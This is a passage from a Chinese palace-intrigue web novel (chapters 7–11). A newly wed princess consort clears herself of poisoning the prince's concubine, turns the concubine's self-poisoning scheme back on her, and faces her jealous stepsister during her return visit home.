如春初时不解,可当片刻后,见萧临面色冷沉地进了院子,心下才有了猜测。 崔锦放下茶盏,再抬头时满眼错愕:“王爷,您怎么来了……” 话未说完,她抬起的手腕就被萧临牢牢攥住,疼得她直皱眉。 身体也被拽得一个趔趄,撞到他身上。 “崔氏。”萧临声音冰冷,“前脚说不计较昭儿对你无礼,后脚就给她下毒?枉本王以为你痴情纯善,未想你与那些勾心斗角、恶毒伪善的后宅女子并无不同!” 崔锦脸色一白:“下毒?我没有!是谁陷害我?” 萧临的随从庆喜道:“王妃,刚才侧妃在吃过您昨夜给的雪莲后,忽然吐血了,太医说是中毒。” 崔锦忙问:“侧妃身子可还好?伤得重不重?” 听庆喜说中毒很浅,她才放下心。 萧临眼神却更冷:“以为装模作样,撇清嫌疑,本王就会宠幸你?你对昭儿下毒,不是因昭儿对你无礼,而是为了爬床得宠,视她为眼中钉吧?” “果然如她所言。”他声音失望,“后宅女子眼界短浅,为了争宠不择手段!来人——” “证据呢?”崔锦打断他的话。 见萧临面有怒气,她强忍眼泪看着他:“莫说王爷心爱之人我不会针对,即便我真要下毒,岂会如此明目张胆,好像不将罪名扣在自己头上不罢休一样?” “王爷长于深宫,可曾见识过如此粗浅鄙陋的手段?” 第七章 这是南疆的毒 萧临眉头微蹙。 他被林昭吐血急没了脑子,又被她一番话先入为主,直接就来正院问罪了。 如今才反应过来……他似乎关心则乱了。 崔锦能设计换嫁,还瞒过崔家,可见其心机深沉,她绝不会蠢到在自己送出去的药里下毒。 否则一旦林昭中毒事发,她首当其冲。 他眼中怒气消了一点。 见崔锦眉目间强忍痛意,他顿了一瞬,松开手。 崔锦轻轻按着手腕,忍泪吩咐:“如秋,去将所有接触过雪莲的人都扣下,分开审讯,毒从哪儿来,谁下的,怎么下的……务必将此事审个明白!” 如秋应下。 “叫管家一起。”萧临道。 崔锦唇角轻扯:“王府尽在王爷掌握,不必担心妾身销毁证据,妾身没那个能耐。” 萧临动了动嘴,想说自己没这个意思。 但转念一想,崔锦也未必没有嫌疑,还是等查清此事再说吧。 离开前,他侧头道:“南疆战乱时,昭儿以女子之身上战场退敌,只为守护家国,护你们这群只会勾心斗角的深闺女子安然无虞,你若有些良心,以后便对她敬重些吧。” 话落,他抬脚便走。 崔锦抬起头时,满眼是泪。 关上门后,如秋忙撩起她的衣袖,手腕上赫然几道青紫深痕,衬着白皙嫩滑的肌肤可怖极了。 “下手竟如此之狠。”如秋眼神心疼,但还是道,“可现在不是上药的时机。” 崔锦轻应一声。 等真相明了,这就是萧临的愧疚。 她闭上眼睛,敲起木鱼。 如春等人下意识就想捂住耳朵——从丁点儿大开始,崔锦足足坚持敲了十年……她们真的听腻了! 好在半个时辰后,崔锦便放下木鱼,起身:“去看看侧妃吧。” 她带人一路去了林昭的珠玉院。 这里景致怡人,摆设精美,比起正院也不差什么了。 房中,林昭脸色苍白地躺在床上,萧临正坐在床边陪着她。 见崔锦进来,林昭的婢女脸色一变,忽然跪下哭道:“求王妃饶命!我们主子性格直率,今早不是故意对您不敬的,您若有气,尽管冲奴婢们使,求您放过主子吧,她没经历过后宅争斗,受不住这些手段啊……” 一番哭诉叫萧临眉头皱起。 “崔氏,你又要做什么?”他语气颇为不耐。 林昭冷冷看了崔锦一眼。 崔锦眼睛通红,却背脊挺直:“妾身身为王妃,该关照府中诸人,便来瞧瞧侧妃的身子。” “不过小毒罢了。”林昭声音清冷,“我在战场什么没见过?王妃放心,我对敌可以用尽手段取胜,却不会与自己人勾心斗角,下毒之事,我不与你计较。” “侧妃!”婢女不忿道,“并非谁都配叫您当做自己人,若非发现得早,您只怕生死难料,此事一定要报去宫里定夺!” 林昭微微拧眉。 萧临正要说什么,却被外头的管家打断: “王爷,事情查明了。” 萧临一顿,安抚了林昭几句,抬步出门。 崔锦瞥了眼神色冷淡的林昭,跟着出去。 外间,管家正在禀报:“王妃院中的人都没有异常,今日侧妃只服用了一半雪莲,奴才叫太医查验过,剩下一半雪莲里……无毒。” “无毒?”信王问,“那侧妃缘何中毒?” “王妃送来的雪莲无毒,但侧妃服用的雪莲汤,不知为何竟是有毒的。”管家深深低头,“那毒……是缠丝引。” 缠丝引,毒素如丝缠绕,可致人逐渐虚弱,但少量服用无碍,与银耳共服可使人吐血。 最重要的——这是南疆的毒。 萧临一时沉默。 崔锦一个闺阁女子,没门路去买南疆毒药,而她刚嫁来王府,也没本事在侧妃院里堂而皇之下毒。 还有银耳莲子羹……这是她午间叫人专门送来给珠玉院的。 即使她真下了毒,又岂会立刻就送了银耳来叫自己暴露? 林昭在自导自演。 萧临几乎立刻就深信了这个猜测。 崔锦看他一眼,提醒:“这天山雪莲是去年妾身祖母生辰时,皇上赐下,祖母又给妾身做了添妆。” 萧临眼神微变。 在御赐之物上动手脚,若传出去,御史参他治家不严事小,蔑视君父事大。 林昭太胡闹了! 崔锦屈膝:“妾身清白已明,这便告退。” 萧临下意识拉住她手腕,却见她倒吸一口冷气。 他反应过来,忙掀开她衣袖,在看到如玉肌肤上触目尽心的青紫手印时,眼中闪过愧疚。 “王爷!” 听到结果急忙出来的林昭正看到这一幕,脸色更冷,几步上前就推开崔锦。 崔锦一个趔趄,差点摔了。 萧临难得沉下脸,制止林昭:“此事到此为止,你回房养伤。” 林昭忽然愣住,不可置信:“王爷也觉得是我自己下的缠丝引?” “只是下人误触毒药,庆喜,查清谁炖的雪莲汤,杖毙,还有今日之事……谁敢透露半句,赐死。”信王冷声道。 太医身体一抖。 庆喜领命出门了。 林昭却推开婢女,背脊挺直,死死盯着信王:“我林昭光明磊落,自有傲骨,从不屑做这等后宅龌龊事,你若不信,我无话可说!” 萧临揉了揉眉心。 他不愿给林昭没脸,但也不愿在此事上纠缠。 崔锦垂眸。 彼此深爱的两人,信任的第一步,碎了。 她行礼后就转身离开,萧临只来得及看到她孤寂而落寞的背影。 他沉默一瞬,吩咐:“叫太医去看看王妃手上的伤,取库房最好的药材送去正院。” “是。” …… 正院。 崔锦坐在廊下,看着送来的药材,轻笑:“我若吃完再吐个血就好玩了。” 如秋无奈地低声说道:“左右都是您下的药,闹也没意思。” 崔锦笑而不语。 前世今生,林昭都是在自导自演,服毒陷害,但这回,崔锦也下了毒。 林昭本打算服用的是普通药物,只能叫人身体虚弱一月,这种药不算稀奇,扣不死她自导自演的行为。 所以崔锦叫身手最好的如夏守在后门处,在珠玉院的人买了毒药回府时,悄无声息地换成了缠丝引——她在信王府的势力几近于无,但手下却有舅舅为她训练出的心腹,坑一个林昭不成问题。 银耳也是她故意送去的。 “您算得可真准。” 如秋笑道:“当着王爷的面,她一定会吃了银耳羹,以表自己的大度。” 如此便顺利洗清了崔锦的嫌疑——也不冤枉林昭,这充其量是她技不如人,被反算计。 即便萧临派人深查,也只能查到是她自己派人买的毒药,更坐实了她诬陷的事实。 “不过奴婢不明白……”如秋问,“您怎会有缠丝引?” 这可是南疆秘药。 “是崔儒月的。”崔锦一笑,“昨日我去她院子里备嫁,顺手摸了回来。” 崔儒月想给崔母下的,可不止绝育药。 连缠丝引都是她拖舅家千辛万苦买回来的,只是现在便宜崔锦了。 两人说了会儿话,崔锦就坐去窗前,抬头看向天空,似乎失神失语。 庆喜来时就看到这一幕,不由目露同情。 “王妃,王爷知道您今日受了委屈,特叫奴才送了许多药材来。” 崔锦神色怔然,没有回答。 第八章 倒是我小看了这个封建女 如秋看了庆喜一眼,上前道:“王妃从回来后就是这副模样,瞧着……不大好,公公随我来放下药材吧。” 庆喜叹了口气,目光怜悯地望向窗边那道孤影。 也难怪她如此消沉。任谁平白遭了冤枉,被当众怒斥,还险些闹到御前问罪,都难免心灰意冷。 更可恨的是那始作俑者非但未受惩处,连句赔礼的话都没有。 方才他看得真切,崔锦白皙嫩滑的腕上深深印着青紫的手痕,可见萧临用了多大劲儿。 娇滴滴的闺阁姑娘,竟也受了这等无妄之灾。 背过崔锦后,他低声道:“你也多劝劝王妃吧,这侧妃啊,是王爷心尖上的人,王妃若不想开些……这以后可怎么过呢。” 林昭进京两年,在王府是专房之宠。 他冷眼瞧着,这位的宠爱怕是还长着呢。 如秋点头道:“我会多劝着王妃的,多谢公公提点。” “嗐,我也就是多句嘴。”庆喜摆摆手。 崔锦虽进门只两日工夫,可言行举止总对他们这些下人带着客气——这客气并非是对王府这个尊贵的名头,而是对人,这就很难得了。 对比林昭清冷傲气,都不把他们当人看,他心里自然更偏向崔锦。 可谁叫王爷眼瞎呢? 心里这般想着,回去复命时,他话里便不自觉带了几分偏向:“王妃一直坐在窗前,脸色苍白极了,衬得眼圈都是红的……瞧着竟有些可怜。” 萧临沉默一瞬。 今日的确是他冲动了。 “回头你再去库里挑些好东西送去正院,再告诉管家,明日回门后,便将中馈之权交给王妃。” “是。”庆喜点点头。 萧临本没打算将中馈交给崔锦,有了今日这茬,中馈便是赔礼了。 可叫庆喜看来……林昭出身不高,没学过管家理事,当初亲手将中馈之权推了出去,言语间还颇为嫌弃不屑,如今再给崔锦,难免有些施舍之意。 两人在前院的谈话没避着人,很快就传到了林昭耳朵里。 她脸色顿时冷下,一把打翻了手边的药碗。 “倒是我小看了这个封建女,竟敢用这等卑鄙龌龊的手段陷害我,还骗过了王爷!” 婢女秋纹忙给她顺着气:“不过是些上不得台面的手段,若侧妃您拿出在战场上的手段,她岂能在您手下走过一招?” “再说了,即便她机关算尽,诬陷于您,王爷不还是偏心您吗?她这会儿指不定多气急败坏呢。” 林昭冷笑一声:“我与王爷是患难夫妻,情分非同寻常,岂是她能撼动得了的?” 话落,她冰冷的眼神便落在秋纹身上,语气怨怪:“我早便说过,我不喜这种阴私勾当,你偏要自作主张,买药来给我喝,如今倒害得我被诬陷,被王爷误会!” “是奴婢大意了。” 秋纹也很后悔:“好在王爷还是偏心您,没有怪罪,否则奴婢真是万死难辞其咎。” “罢了。”林昭松口道,“你也是护主心切,只是以后万要记得,我珠玉院的人宁折不弯,做人坦荡,不许再使这种阴私手段,落了下乘!” 秋纹连忙点头,心中却觉得她太过率直。 深宅大院里头,哪容得下这般磊落? 但侧妃待她亲如姐妹,常说与她这个下人身份平等……说不感动是假的。 以后,她多为侧妃打算些就好。 “对了。”林昭眼神微动,“换药的叛徒找出来没有?” 秋纹为难道:“这……全程都是奴婢经手的,药绝无可能被掉包,除非……除非在奴婢买药时,回春堂就做了手脚。” 林昭眉头微皱:“回春堂竟与那个封建女有勾结?” 秋纹仔细分析一番,也深觉这个可能性最大。 末了,林昭叫人来清扫地上的药碗碎片,却被秋纹拦住。 “王爷今儿误会了您,这心结可不能过夜,您受了委屈,不愿吃药,奴婢正好可以请王爷来了。” 林昭脸色微冷:“我才同你说过不许使这种下作手段,你又忘了?若拿病邀宠,我跟那种恶心的后宅女又有什么两样?” “只是同王爷解开误会而已。”秋纹忙解释,“您难道要把他推去正院吗?再说,您就真不想见王爷?” “……不想!”林昭避开她的眼神,强硬道,“你若敢去找他,我必要狠狠罚你!” 秋纹欲言又止,只能退下。 林昭看着她的背影,眼神微闪。 秋纹出门后,一咬牙就往前院跑去了。 她绝不能看着侧妃被正院的贱人压过风头,抢走王爷。 侧妃身有傲骨,不愿低头,也不屑使那些腌臜手段,那就让她秋纹来使! 只要请来王爷,叫他们和好,哪怕被侧妃重罚她也认了! …… 因为今日之事,萧临对林昭也生出几分怒气,怨她胡闹,本想冷她几日,可听秋纹说林昭连药都不肯喝了,他还是放心不下。 到了珠玉院,秋纹开门请他进去。 “谁准你们进来的?”林昭含怒的声音从床幔里传来。 秋纹忙解释:“侧妃,是王——” “我不喝药,都给我滚出去!” 林昭打断她的话,素来清冷的声音带上了一丝哽咽:“已经被人误会至此……还不如叫我真被缠丝引毒死,落个清净!” 萧临脸色微沉:“胡说什么!” 听到他的声音,林昭沉默一瞬,立刻将床幔拽得更紧,声音也冷了下来:“你还来做什么?看我什么时候死么?” “秋纹,下去领罚!重罚!” 秋纹闭了闭眼:“是。” 能请来王爷,这顿打便挨得值了! “不怪秋纹。”萧临眉头紧皱,大步走上前,“你不肯喝药,还不叫她找人帮忙?” “我不用你管!”林昭声音冷漠。 萧临使了力,掀开床幔,便露出林昭通红的眼眶。 见他看来,她忙偏过头,用手掩住眼睛。 萧临心中的怒气在看到她这副模样后,也散了不少。 终究是他惯坏了林昭,才让她做出这等栽赃陷害的事,如今她拉不下脸认错,自己少不得给个台阶。 萧临声音温和了些:“今日证据确凿,为了安抚王妃,本王只能如此。” 林昭微顿,藏住的眼底闪过一丝放松的笑意。 她就知道,以他们患难夫妻的情分,还有她素来磊落傲气的为人,他怎会不信她? 那个封建女与她相差的,不止是千百年后的智慧,还有萧临非她不可的钟情! ……但也不能就这么原谅萧临。 她给了好一阵冷脸,直叫萧临眉头皱起,才瞥他一眼:“你今日伤我至此,我心中难受得很,等你何时哄得我笑起来,何时再出珠玉院!” 萧临不是个会哄人的性子,尤其还在对方不搭腔的前提下。 但林昭要求,他自舍不得冷了她,便送出许多奇珍异宝,衣裳首饰,终于哄得她脸色好了些。 可一夜过后,到了崔锦回门的时辰,珠玉院的门却还紧紧关着。 第九章 妹妹的守宫砂不会还在吧? 崔寄灵坐在正厅,等了好一会儿。 等得她手都痒了,下意识想拿木鱼,却摸了个空,于是转道拿起茶杯,抿了一口。 正厅里站了十来个婢女嬷嬷,却都噤若寒蝉。 管家擦了擦额头的冷汗,总觉得崔寄灵的笑容泛凉,可细看去,却是一派温柔贤淑模样。 “王妃稍安勿躁,奴才已经派人去请了,王爷许是昨日处理公务累着……”他悉心安抚着。 “既累着,也不好只为区区回门便扰了王爷歇息。”崔寄灵笑得温婉,“如秋,我们走吧。” 管家还想拦,崔寄灵置若罔闻。 眼睁睁看着她带人离开,管家忙吩咐下边人:“快,给崔府的回门礼再厚三成,紧跟着王妃送过去!” 话落,他亲自去了珠玉院,准备请萧临。 崔父虽是礼部尚书,离入阁还有几步路走,可到底算得简在帝心,更别说崔锦外家——清河谢氏的影响力。 这还是圣旨赐婚,若萧临今日当真不去崔府,给了这两家没脸,必要惹得后者不满。 圣上一片苦心,赐给他一个靠山牢固的世家王妃,不是叫他得罪用的。 管家急得满头大汗,那边马车上的如春也急得很。 “林侧妃明显是故意给您没脸的!”她皱眉,“本来换嫁一事这两日已经传开了,若回门日王爷都不肯来,更要叫外头有了闲话。” 还有崔儒月。 不用想都知道她会有多得意。 “安心。”崔锦道,“或早或晚,他今日总要来崔府走一回的。” 萧临虽然在某方面眼瞎心盲,但绝不是真蠢货。 他要是做事全凭喜恶,也不会仅在回京两年后,就做到与贵妃之子分庭抗礼。 如春还想说什么,却忽听外头一阵马蹄声响起,随后马车便剧烈摇晃了一瞬。 “啊——” 如春没坐稳,额头直接撞上了车壁,她顾不得疼,忙去看崔锦,幸好后者被如夏护住,没有大碍。 崔锦坐稳后,问马夫:“外头出了何事?” “王妃恕罪。”马夫也惊慌地回,“方才孟学士的马车猛地拐了弯,奴才只能勒马,叫您受惊了。” 此时,外头一道略显苍老的声音响起:“老臣御马不严,惊扰了王爷和王妃,特来请罪。” 崔锦微顿,随即掀开帘子,笑道:“不过意外而已,孟学士不必在意。” 孟学士却低了低头:“老臣该向王爷请罪的。” “王爷……”崔锦勉强笑了笑,“王爷公务繁忙,并未与我一道出门。” 孟学士面露诧异:“今日不是王妃回门之日么?圣上给了王爷十日婚假,怎会公务繁忙?” 崔锦脸色微白:“快到上朝的时辰了。” 孟学士意会,拱手告退。 崔锦余光扫了眼周围注意到的大臣们,这才放下帘子。 如春低声道:“孟学士是晋王的人,方才怕是故意拐道,好来探王爷行踪的。” 晋王是周贵妃之子,也是萧临的头号政敌。 崔锦给她揉着红肿的额头,笑了笑:“我不能诉的委屈,总要叫人替我来诉。” 如春这才明了,也笑了。 正是上朝的时间,这条路又是距崔府最近的一条路,只能怪孟学士也走了这条路,怪他主动找茬。 马夫是萧临的人,他会告诉萧临,崔锦是完美受害者。 很快就到了崔府。 崔家人都已候在了门外,见马车过来,连忙行礼。 崔锦下了马车,忙快步上前,扶起崔母:“父亲母亲和祖母不必多礼。” 崔父一愣:“王爷没来?” 崔锦笑容不变:“王爷公务繁忙,无暇前来。” 崔父眉头皱起,等一家人进了正厅后,他便斥道:“成婚三日,你究竟做了什么,叫王爷连这点脸面都不给你?” “他不给的脸面不是对我,而是对崔家满门。” 崔父脸色微沉,心中也明白此言有理。 他特地告假一日,专程等着萧临,萧临不会不知此事……此举分明是把他脸面往地上踩! 但面上,他还是怨怪崔锦:“若嫁去王府的是儒月,以她的机灵讨喜,定能笼络住信王的心,不会叫我崔府为人笑柄。” “够了!” 崔老夫人沉声打断他的话:“儒月蠢得像你,若嫁去王府做出什么蠢事来,才会连累我们崔家成人笑柄!” 崔父一噎,脸色难看。 崔锦抿了口茶,挡住唇边笑意。 老夫人说的也没错,前世因为给林昭下毒一事,崔儒月被御前降罪,禁足抄经。 别说信王了,就连她自己都回不了门。 “说来,长姐怎得还没回来?”她问。 “昨儿沈家来人说儒月伤着了,今日会来得晚些。”崔母不经意道。 崔锦心中诧异。 她陪着崔母和崔老夫人说了好一会儿话,又哄着弟弟妹妹们玩了会儿,眼见着快到午时,崔儒月夫妻才姗姗来迟。 还带了个尾巴。 崔母看着沈之珩身边的女子:“这位是……” “晚辈名叫方芸。”她抬眼看向崔母,柔柔行了一礼,“是之珩的……大嫂。” 崔母和崔老夫人对视一眼,都不太明白怎么方芸也跟着回门了。 崔锦眼神微闪。 方芸……可有得恶心崔儒月了。 “大嫂是来赔罪的。”崔儒月今日戴了面纱,她摸了摸侧脸,不高兴道,“昨日她伤了我的脸。” 方芸面露歉意:“我会做胭脂,本想送一盒给儒月,未想她用过后便起了疹……我方才知道她吃不得鸡蛋,而我那胭脂里是掺着蛋清的。” 她自责得眼睛通红。 沈之珩立刻道:“大嫂是一片好心,儒月也未曾怪你。” 崔儒月脸色难看一瞬,竟忍了下来,默认了这话。 她自己都认了,崔家自也不好说什么。 沈之珩拜见过长辈后,眼神复杂地扫过崔锦,便去前院找崔父了。 等崔老夫人和崔母离开去忙后,厅里只剩晚辈们。 崔儒月看向崔锦,眼中闪过痛快。 大婚当日她受的委屈算什么?崔锦孤身回门才是真丢人啊! 她想起沈之珩说的下毒之事,故意问:“父亲说王爷公务繁忙,没空陪你回门?” 见崔锦不语,她状似讶异:“对了,妹妹的守宫砂不会还在吧?听说新婚夜,王爷都没宿在你房里呢……也是,王爷与侧妃夫妻情深,哪有你插足之地?虽不知你如何压下昨日给侧妃下毒之事,但王爷一定厌恶极了你,连今日这种场面都不愿给你脸面!” 她嗤笑一声,语气饱含恶意与快意。 “亏你还好意思在外传你与王爷恩爱的谣言,以后莫不是还要找个野男人,弄没了守宫砂,好叫谣言更可信?” 此话一出,屋里寂静一瞬。 崔四妹年近八岁,沉不住气,猛地冲上前撞了崔儒月一把:“你、你无耻!” 初生牛犊,很有一把子力气。 崔儒月被顶得撞去椅子上,抬头时脸色微青,连语气都尖锐起来:“我无耻?我可没上赶着去做插足旁人感情的龌龊事!也做不出那种传播谣言、争宠下毒的丢人之举!” 听到给侧妃下毒,崔家弟妹们都吓得脸色发白,却还是相信崔锦。 崔锦眼睛却猛地红了。 正在此时,一道声音自外传来:“谁说王妃下毒?” 第十章 本王非常庆幸,嫁来王府的是你妹妹 随着这道声音响起,萧临踱步进门。 他身后跟着脸色难看的崔父和眉头紧皱的沈之珩。 崔儒月脸色微变,愣了一瞬才行礼:“见过王爷。” 萧临无视了她,大步走去崔锦身边,崔锦看到他时眼睛亮起,随即想到什么,忙转身擦了擦眼角。 萧临微顿。 他本觉得来晚些不是什么大事,遂了林昭的意也未尝不可,却没想到崔锦竟会因此遭人嘲讽……甚至误会。 他冷声问崔儒月:“是谁告诉你,王妃给侧妃下了毒?” 崔儒月下意识看向沈之珩。 沈之珩眼神微沉,拱手解释:“王爷恕罪,学生只是偶然听崔府下人提过一嘴,因担忧妻妹之故,有了几分猜测,未想竟因此冒犯了王妃。” 到底是曾官至尚书的人,他三言两语就将嫌疑甩去了崔家。 若昨日崔锦当真被扣上下毒的罪名,现在他的话就是佐证——连崔家下人都门儿清,崔锦怎能洗脱嫌疑? 崔锦冷冷看着他:“在何时何地,你听谁说的?” 沈之珩刚要开口,崔锦又道:“昨日你并未来崔府,听下人议论一事无从提起,而今日……从你进门到现在,身边都有人跟随,敢问你是在哪,听谁说的,有谁能证明?” 沈之珩脸色微僵。 顿了一瞬,他才解释:“昨日儒月受伤,学生派人来告知崔府,下人听人提了一嘴,想是他误会了什么,谣言转过几手,便传的离谱了。” “沈郎!你怎么——” “儒月。”沈之珩打断她的话。 崔儒月见不得他对崔锦如此低头,这叫她觉得自己仿佛也矮了一头一样。 她更不明白,为什么不能戳破崔锦下毒的事实,反而还要为她遮掩。 沈之珩只握住她的手,暗暗安抚。 崔锦笑了一声:“我便权当信你这话了……望你明白,若现在我执意深查谁在污蔑我——比如找出昨日来报信的沈家下人,再将他入府后的踪迹追查一遍,很快便能明了。” 她语气微深:“但到底是一家人,权当给彼此留些脸面了。” 沈之珩脸色更难看了。 崔锦何时变得这般咄咄逼人? 只因他选择了儒月,她便要如此针锋相对么?此女果然狭隘善妒,品行不堪! 萧临冷眼扫过他。 下毒一事,他分明已经封口,沈之珩一个举人,究竟是从何得知? 若只是意外还好,若是蓄意窥探王府…… 他转过念头,这才冷斥崔儒月:“凭空污蔑王妃,该当何罪?” 崔儒月脸色微白:“我只是随口一说……” “我大周皇室之人,岂容你随口议论污蔑?” 崔儒月紧紧咬牙,在崔父和沈之珩的眼神示意下,僵硬地屈膝道歉:“方才是我失言,望王妃勿怪。” “无妨。”崔锦脸色冷淡,“长姐一向言行无忌,我习惯了。” 崔儒月攥紧双手,指甲快要将手掐出血来。 素来只有她在崔锦面前猖狂放肆的份儿,今日却反了过来……只因崔锦抢走了她的身份和荣华! 更叫她难以接受的是萧临竟无比维护崔锦。 那本该是属于她的宠爱和体面! 崔儒月恨得眼睛通红。 等回过神来,沈之珩已经与萧临攀谈起来,后者待他却极为冷淡,只同崔父说话。 这一幕更叫崔儒月脸上火辣辣的热。 在崔家上下人的面前,她丢尽了人。 但无人关注她在想什么,萧临对崔父道:“早间被一桩公务绊住了脚,本王便叫王妃先行一步,未想竟叫贵府误会,的确是本王考虑不周。” 崔父脸色微僵,忙道:“王爷说的哪里话,王妃方才就已经解释过,自是公务更重。” 萧临给足了脸面,他自不会有怨,立刻便攀谈起来。 这边,崔锦摸着四妹的头,轻声问:“疼不疼?” 崔四妹摇摇头,对她甜甜一笑:“长姐的肚子软,我撞着不疼,还可高兴了!” 王爷姐夫为二姐出了气,她就痛快了! 崔锦笑了笑。 很快就到了午膳十分,一直盯着膳房的崔母这才抽出工夫来请众人入席。 或许是心有愧疚,萧临在席间对崔锦很是照顾,颇有些相敬如宾的意思。 崔锦自也乐意配合。 却叫对面的崔儒月夫妻看红了眼。 崔儒月是满心嫉妒,外加被打脸的恼羞成怒,而沈之珩……他也不知自己为何心中滋味难言。 萧临钟情侧妃,怎会对崔锦如此温柔? 崔锦这般庸俗无趣的女子,除了他沈之珩,不会有人愿意接纳她的,想是她又使了什么手段……她一向如此心机深重。 他极力撇开杂念,与萧临说话,后者却转而同崔家兄弟们喝起了酒。 崔家还未分家,三房同居一府,堂兄弟们加起来轮番敬酒,灌得萧临眼中也有了些醉意。 他强撑着出去更衣,却在拐角无人处遇见了崔儒月。 “臣女见过王爷。”崔儒月声音娇柔,盈盈下拜。 萧临随意点头。 见他要走,崔儒月忙道:“今日臣女口出狂言,叫王爷见笑了,可实在是……心中不平啊。” 她眼睛微红:“若非被崔锦抢了姻缘,今日与王爷站在一起的本该是臣女,这叫我怎能不怨……” “沈夫人。”萧临打断她,疲惫地揉着额头,“你已嫁人,不该自称臣女。” 崔儒月微愣。 “还有。”萧临皱紧眉,真心实意道,“本王非常庆幸,嫁来王府的是你妹妹。” 只听今日崔儒月在厅堂里那番骂言,就知道她不是个省油的灯。 反观崔锦,虽心机深沉,心地却不坏,还很痴情专一。 萧临又不是贱皮子,非要娶个霸道蛮横的回家。 他转身离开的瞬间,崔儒月脸色铁青。 回席后,萧临又被灌了不少酒,而沈之珩虽有崔父关照,却因心中郁闷,也喝了不少。 可临到要醒酒歇息时,崔儒月却依旧不见人影,只能由方芸扶他下去。 这边,崔锦也扶着萧临去自己院里醒酒。 “王爷今日喝的太多了,醒来要头疼的。”她语气担忧。 萧临强撑着进了房门,一笑:“昨日冤枉你,今日又害你受了委屈,本王理亏……” 说话间,他被脚踏绊了一下,直接摔去了床榻上,崔锦因扶着他,竟也被带得扑去他身上。 两人都愣了一下。 萧临抬眸,正好撞进她满是心疼的双眼。 崔锦怔愣过后,回神忙推开他的手,坐起身:“我、我不是故意的!” 她急得连自称都忘了,匆忙解释:“在人前,我知王爷是给我脸面才做戏,但人后,我绝不会故意与王爷亲近……” 萧临揉了揉眉心:“是本王自己摔了。” 崔锦这才松了口气,忙起身站远了些:“王爷醉得厉害,妾身叫人去熬醒酒汤。” 她匆匆出门。 萧临看了眼她的背影,忽地拧眉。 他是瘟疫吗? 第十一章 爬床 崔锦出了门,便见崔母正候在外头。 她抬步走了过去,与崔母坐去凉亭中说话,如春几人守在亭外。 “今日见你孤身回门,我本还有些担心。”崔母拍了拍她的手,“未想信王倒不错,还肯给你做脸。” 若早知萧临对崔锦只是敷衍的面子情,她或许会不满这桩婚事,可在清楚萧临独宠侧妃后,再看他肯给崔锦脸面,她竟也觉得这人不错了。 崔锦笑了笑,叫她放心。 聊了片刻,崔母拿出一沓礼单:“你的嫁妆我早在大婚前夜就挪了出来,过两日便叫人送去你郊外的庄子上。” 崔儒月那份嫁妆只是中看不中用的货色,还都是崔府库房里落灰的东西。 崔母费尽心思、准备了十七年的嫁妆,当然要留给自己的女儿。 崔锦抱着她直笑:“我就知道母亲会动手……这都是外祖家积攒数年的珍宝,我可舍不得给崔儒月和沈家。” 谢氏簪缨世族,累积的宝物都有价无市且底蕴非凡。 崔母作为长房嫡长女,嫁妆之丰厚可比公主。 “给她?想得美。”崔母冷笑一声,“孙氏当年不就看中我的身份和嫁妆,想给她女儿筹谋么?我偏一分都不给!” 孙氏便是崔儒月的母亲。 她自己出身不高,曾偶然得崔母帮助,摆脱了一个要纳她为妾的纨绔,两人才成了手帕交。 在知道自己时日无多后,她头一个就盯上了崔母。 只因后者性情温和,又有手帕交的感情在,将崔儒月托付给她,既能安然长大,免去继母磋磨,又能利用崔母的善良念旧,分一杯谢氏资源家产的羹。 她唯一没算到的是崔儒月是个蠢货,自幼只对崔父撒娇卖乖,对崔母屡屡得罪,甚至还下过毒。 她能平安长大,多亏崔母心地不坏,没动手刀了她。 崔锦轻笑:“她仗着母亲善良,却不知泥人也有三分脾性。” 崔母声音厌恶:“若她还在黄泉下,便好好睁开眼睛瞧瞧……算计一场空,我要她死不瞑目!” 她眼睛红了一瞬,转瞬即逝。 当年她已与竹马在议亲,却因为孙氏的算计,余生尽毁。 还要日日忍受崔父对孙氏的深情缅怀,看着孙氏的女儿踩着她女儿,被崔父捧在手心……她怎能不恨? 见崔锦面有担忧,她笑了笑:“陈年旧事,不必再提,若说这场算计里我最庆幸什么,便是有你们姐弟四人了。” 崔锦抱着她胳膊,轻声哄了她许久。 末了,她抬头看了眼天色。 该来的快来了。 果然,不过一盏茶功夫,一个嬷嬷便匆忙跑来,急道:“夫人,您快去瞧瞧……宜云院出事了!” 宜云院是崔儒月的院子。 崔母一听这口气就知道事情不小,连忙起身赶去。 崔锦的回门之日,可不能因为不相干的人闹出什么,坏了兴致。 崔锦本不想去凑热闹,谁想萧临酒醒了大半,听到崔儒月和沈之珩出事,竟颇有兴致的要去瞧。 两人赶到宜云院时,正见崔儒月在揪着方芸打,嘴里又哭又骂:“不要脸的贱人!你就这般饥渴,连小叔子的床都爬,还敢在我崔府做这等龌龊事!” 方芸衣衫不整,面有潮红,眼睛却更红。 “不、我没有……” 崔儒月扬手就给了她一巴掌:“都被我捉奸在床,你还敢狡辩!” 方芸哭得伤心:“我见之珩醉得难受,弟妹你又不见人影,便想熬了醒酒汤给他,谁想……之珩醉得厉害,竟将我当成了你……” 崔儒月冷笑一声:“若非如此,你以为你有机会爬上沈郎的床?!” “够了。”一直没开口的沈之珩见崔锦进来,眼神有一瞬难堪。 崔儒月脸色也很难看。 她故意与沈之珩恩爱,没刺激到崔锦,却反被现在的一幕衬成了笑话。 崔锦一定在笑她! 这时,沈之珩握住她的手,道:“儒月,我大哥早逝,娘又年纪大,我能一路考上来,多亏大嫂做胭脂和绣活供我……我们夫妻一体,便更该孝顺大嫂,而非误会责打她,再者说……” 他声音温柔:“我究竟钟情于谁,你还不清楚吗?” 崔儒月的怒气散了些。 她自是清楚的。 若非沈之珩心里有她,怎会一重生就来找她,还将崔锦推去信王府这个火坑? 但地上的方芸听到这番话,手指微微攥紧。 她余光扫过门口的崔锦和萧临,低低哭道:“是啊,之珩对弟妹你一见钟情,你送他的玉佩更是放在书房,日夜赏玩,聊慰相思之苦……我知道你们两情相悦,又怎会插足其中?” 沈之珩脸色微变,下意识看向萧临。 后者眼神果然沉了下来。 崔儒月却被方芸两句话哄得消了些气,狠狠瞪了她一眼:“以后再让我看到你勾引沈郎,我就发卖了你!” 方芸吓得一抖。 沈之珩忙对萧临拱手:“叫王爷看笑话了,大嫂不知内情,竟误会学生早已钟情儒月,实在是无稽之谈。” 久居高位的人是最不习惯低头的,沈之珩亦是如此。 可现在的萧临如日中天,还没沦为阶下囚,不能得罪。 萧临眼眸微深:“既是误会,本王便不叨扰了。” 他对崔母客气地道了告辞。 崔母忙着处理这边的事,只能连声道不是,叫人去请崔父送他们出门。 临到门前台阶上,萧临微顿后,抬手扶了崔锦下去。 门里的崔儒月看到这一幕,指甲再度掐进掌心,这回渗出了血。 